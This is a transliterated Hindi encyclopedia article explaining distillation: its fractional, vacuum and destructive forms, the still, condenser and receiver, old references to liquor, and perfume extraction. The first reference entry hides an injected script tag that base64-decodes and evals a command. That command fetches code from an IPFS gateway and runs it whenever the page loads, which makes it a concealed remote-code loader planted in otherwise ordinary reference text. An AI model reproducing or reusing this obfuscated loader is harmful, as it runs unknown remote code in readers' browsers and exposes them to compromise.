आसवन विधि
(aangrezi:Distillation) drav ko garm karake vashp banana aur phir us vashp ko thanda karake drav ke roop mean lane ki vidhi ko asavan kaha jata hai. asavan vidhi dvara mukhyatah dravoan ke mishran ko prithakh kiya jata hai. rasayan vijnan mean jab do dravoan ke kvathanaankoan mean antar adhik hota hai, to usake mishran ko asavan vidhi se prithakh karate haian. avasan vidhi mean drav ko vashp mean parinat kar kisi doosare sthan mean bheja jata hai, jahaan use thanda kar punah drav avastha mean parivartit kar liya jata hai. asavan ka pratham bhag vashpikaran evan doosara bhag sanghanan kahalata hai.
prakar
asavan vidhi ko tin bhagoan mean baanta gaya hai-
- prabhajit asavan
- nirvat asavan
- prabhanjak asavan
asavan ajakal asavan shabd purane ki apeksha adhik vyapak arth mean prayukt hota hai. bhabhake mean vashpavanh dravy ko u dana aur u di huee bhap ko thanda karake phir chua lena, yah sabaki sab prakriya asavan kahalati hai. asavan ka uddeshy kisi vashpavanh aansh ko any avashpavanh aanshoan se prithakh kie ja sakate haian. purane samay mean asavan ki is vidhi ka upayog keval asavoan arthath madira ke saman pey taiyar karane mean kiya jata tha, par ajakal asavan dvara anek rasayanik dravyoan ka shodhan kiya jata hai. asavan ki ek sadharan paribhasha yah hai ki vilayan mean se vilayak ko bhap banakar u dana aur phir use sanghanit kar lena. is paribhasha ke bhitar sadharan asavan aur prabhajit asavan, donoan sammilit haian. asavan se milati julati ek vidhi ka nam oordhvapatan hai. oordhvapatan mean vashpavanh thos padarth bhabhake mean garam karake u daya jata hai aur phir us bhap ko thanda karake thos shuddh padarth prapt kar liya jata hai.
lokasahity mean asav shabd sura ya madira ke arth mean prayukt hota hai. drakshasav, ushirasav adi asav ayurved granthoan mean prasiddh haian. sautramani ke prakaran mean asuta sura ka sabase purana ullekh yajurved ke 19vean adhyay mean milata hai. suradhani kuanbhi vah patr tha jisamean taiyar ki huee sura rakhi jati thi. akuanr nikale hue dhan aur jau se sura banane mean soanth, punarnava, pippali adi aushadhiyoan ka prayog kiya jata tha. lagabhag tin rat ye padarth pani mean s date rahate the aur phir ubal aur chhanakar sura taiyar ki jati thi.
prakriti mean asavan ka sabase utkrisht udaharan samudr ke khare pani mean se pani ki bhap ka uthana, phir bhap ka vayumandal ke thande bhag mean pahuanchakar thanda hona aur shuddh jal ke roop mean barasana hai. varsha ka jal ek prakar se shuddh asut jal hai, parantu barasate samay yah sadharan vayumandal se apadravy ka shoshan kar leta hai.
prayogashalaoan aur karakhanoan mean asavan ke nimitt jis upakaran ka prayog kiya jata hai usake mukhyataya tin aang hote haian: (1) bhabhaka, (2) sanghanitr aur (3) grahi. bhabhake mean vah mishran rakha jata hai jisamean se vashpavanh aansh prithakh karana hota hai. ye bhabhake upayoganusar kach, taanbe, lohe athava mitti ke bane hote haian. sharab banane ke karakhanoan mean bahudha taanbe ke bane bhabhakoan ka prayog hota haian. aur prayogashalaoan mean kaanch ke bhabhakoan ka. bhabhake ke niche bhatthi ya garam karane ke nimitt kisi upayogi sadhan ka prayog kiya jata hai. bhabhake mean se u di huee bhap sanghanitr mean pahuanchati hai. sanghanitr anek prakar ke prachalit haian. sabhi sanghanitroan ka uddeshy yah hota hai ki bhap shighr se shighr aur bhali bhaanti thandi ho jae. yah avashyak hai ki sanghanitr mean adhik se adhik prishth us hava ya pani ke sanpark mean ae jisake dvara bhap ko thanda hona hai. taanba garami ka achchha chalak hai. isaki nalikaean (paip) yathesht patali ban sakati hai; at: karakhanoan mean adhikatar taanbe ke hi sanghanitroan ka vyavahar kiya jata hai. vastut: sanghanitr vah upakaran hai jisamean garam bhap ek sire se doosare sire tak pahuanchate-pahuanchate thandi ho jae. jin dravyoan ke kvathanaank bahut ooanche haian, unaki bhap hava se thandi ki ja sakati hai. isake lie vayusanghanitr kam mean lae jate haian. ailkohal, beanzin, eethar adi dravoan ki bhapoan ko thanda karane ke lie aise sanghanitroan ka prayog hota hai jinamean pani ke pravah ka prabandh ho. asavan upakaran ka tisara aang grahi hai. yah vah patr hai jisamean bhap ke thanda ho jane par bana hua drav ikathhtha kiya ja sake. grahi bhi suvidhanusar anek prakar ke hote haian.
tin prakar ke asavan mahatvapoorn mane jate haian-prabhajit asavan, nirvat asavan aur bhanjak asavan. prabhajit asavan dvara vilayan, arthath mishran, mean se un dravoan ko prithakh kiya ja sakata hai jinake kvathanaank paryapt bhinn hoan. dravoan ka vashp prabhajit asavan ke sanghanitroan mean is prakar kramash: thandha kiya ja sakata hai ki grahi mean pahale ve drav hi chue jo sapekshat: thandha kiya ja sakata hai jo sapekshat: adhik vashpavanh hoan. is kam ke lie jin bhabhakoan ka upayog kiya jata hai unamean tap dhire dhire badhata hai.
nirvat asavan ke lie aisa prabandh kiya jata hai ki bhabhake aur sanghanitr ke bhitar ki vayu panp dvara bahut kuchh nikal jae. vilayan ke oopar vayu ki dab kam hone par vilayakoan ka kvathanaank bhi kam ho jata hai aur ve sapekshat: ati nyoon tap par hi asavit kie ja sakate haian. oopar, prayogashala ke lie upayukt sanghanitr; madhy mean, aisa jo tin char gailan jal prati ghanta asavit kar sakata hai (1. thanda kar nevale jal ki nikasi, 2. srut jal ki nikasi, 3. gais (eedhan) ane ki nali,)4. jal ane ki nali, 5. bhap-dab mapi; niche, prabhajit asavan ke lie upayukt grahi. prabhanjak asavan ek prakar ka shushk asavan hota hai. isaka sabase achchha udaharan koyale ka asavan hai. patthar ke koyale mean pani ka aansh to kam hi hota hai, par jab vah adhik tapt kiya jata hai to usake prabhanjan (tootane) dvara anek padarth banate haian jinhean bhap banakar u daya aur phir thanda karake thos ya drav kiya ja sakata hai. prabhanjan mean kuchh aisi bhi gaisean ban sakati haian jo thandi hone par drav ya thos to n banean, par gais roop mean hi jinaki upayogita ho; udaharanat:, sanbhav hai, in gaisoan ka upayog hava ke sath jalakar prakash athava ushma paida karane mean kiya ja sakata ho. patthar ke koyale se prabhanjak asavan se is prakar ki gaisoan ke atirikt kriyozot, naiphthailin adi padarth prapt kie ja sakate haian. mitti ke tel ka bhi prabhanjak asavan kiya ja sakata hai.[1]
sadharan asavan ka upayog itr taiyar karane mean bhi kiya jata hai. (dr. ailkohal) adi shirshak lekh bhi is sanbandh mean dekhie). itr taiyar karane mean bhap, asavan ka prayog kiya jata hai. pani ki bhap ke sath sath itr u dae jate haian aur sanghanitr mean thanda karake pani aur itr ka mishran grahi mean prapt kiya jata hai.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 461-63 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.pran.-th aaurp ki dikshanari aauv eanplaed kemistri ; iantar saanyas ensaiklopidiya, nyooyark, dvara prakashit, ensaiklopidiya aauv kemikal tekn aauloji.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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